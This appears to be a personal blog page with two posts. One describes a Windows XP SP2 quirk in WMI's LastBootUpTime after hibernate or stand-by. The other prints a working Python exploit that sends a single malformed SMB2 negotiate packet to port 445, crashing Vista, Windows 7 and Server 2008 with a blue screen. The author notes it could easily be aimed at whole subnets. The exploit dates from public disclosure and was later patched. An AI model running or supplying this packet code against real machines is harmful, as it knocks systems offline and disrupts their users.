nuxx.net Posts

On Windows XP one can use WMI to determine when the computer booted up by querying root/cimv2/Win32_OperatingSystem.LastBootupTime. This will return a result in CIM_DATETIME format indicating the time the computer booted up. However, while researching some things yesterday I found that on XP SP2 this changes if a user logs out, puts the computer in a Hibernate or Stand-by mode, wakes the computer, then queries this value.

Here’s results of this query after a few different scenarios:

Initial Query: 20090910130529.109375-240
After Logoff / Logon: 20090910130529.109375-240
After Hibernate / Wake while Logged In: 20090910130529.109375-240
After Logoff / Hibernate / Wake / Login: 20090910131221.162894-240
After Logoff / Stand By / Wake / Login: 20090910131718.006644-240

This was quite unexpected, because Microsoft’s documentation on the Win32_OperatingSystem class states that LastBootUpTime contains “Date and time the operating system was last restarted.”, and Hibernate or Stand By shouldn’t constitute a restart.

This behavior was not observed on XP SP3. Per 946480: List of fixes that are included in Windows XP Service Pack 3 this was not something fixed, but it does appear to have changed. If you would like to demonstrate this for yourself, use the following VBScript (or download it from here: getlastbootuptimetest.vbs) to easily read out Win32_OperatingSystem.LastBootUpTime:

As is normal for a Patch Tuesday, Microsoft released a bunch of patches. Unfortunately, none of them fix a vulnerability in SMB2 on Vista, 7, or Server 2008 which allows easy remote BSODs using a single packet. This code below, which works under Python 2.6 on Windows, was very slightly adapted from this post to Full Disclosure.

import socket

host = "127.0.0.1", 445

buff = (

"\x00\x00\x00\x90" # Begin SMB header: Session message

"\xff\x53\x4d\x42" # Server Component: SMB

"\x72\x00\x00\x00" # Negociate Protocol

"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853

"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"

"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"

"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"

"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"

"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"

"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"

"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"

"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"

"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"

"\x30\x30\x32\x00"

)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(host)

s.send(buff)

s.close()

UPDATE: Microsoft has posted 975497 – Vulnerabilities in SMB Could Allow Remote Code Execution which states:

Microsoft is investigating new public reports of a possible vulnerability in Microsoft Server Message Block (SMB) implementation. We are not aware of attacks that try to use the reported vulnerabilities or of customer impact at this time.

I’m not sure how they define attack, but that BSOD above sure looks like one and making something quick to hit whole subnets in a go would be trivial.

UPDATE 2: This was fixed on 13-Oct-2009 in MS09-050.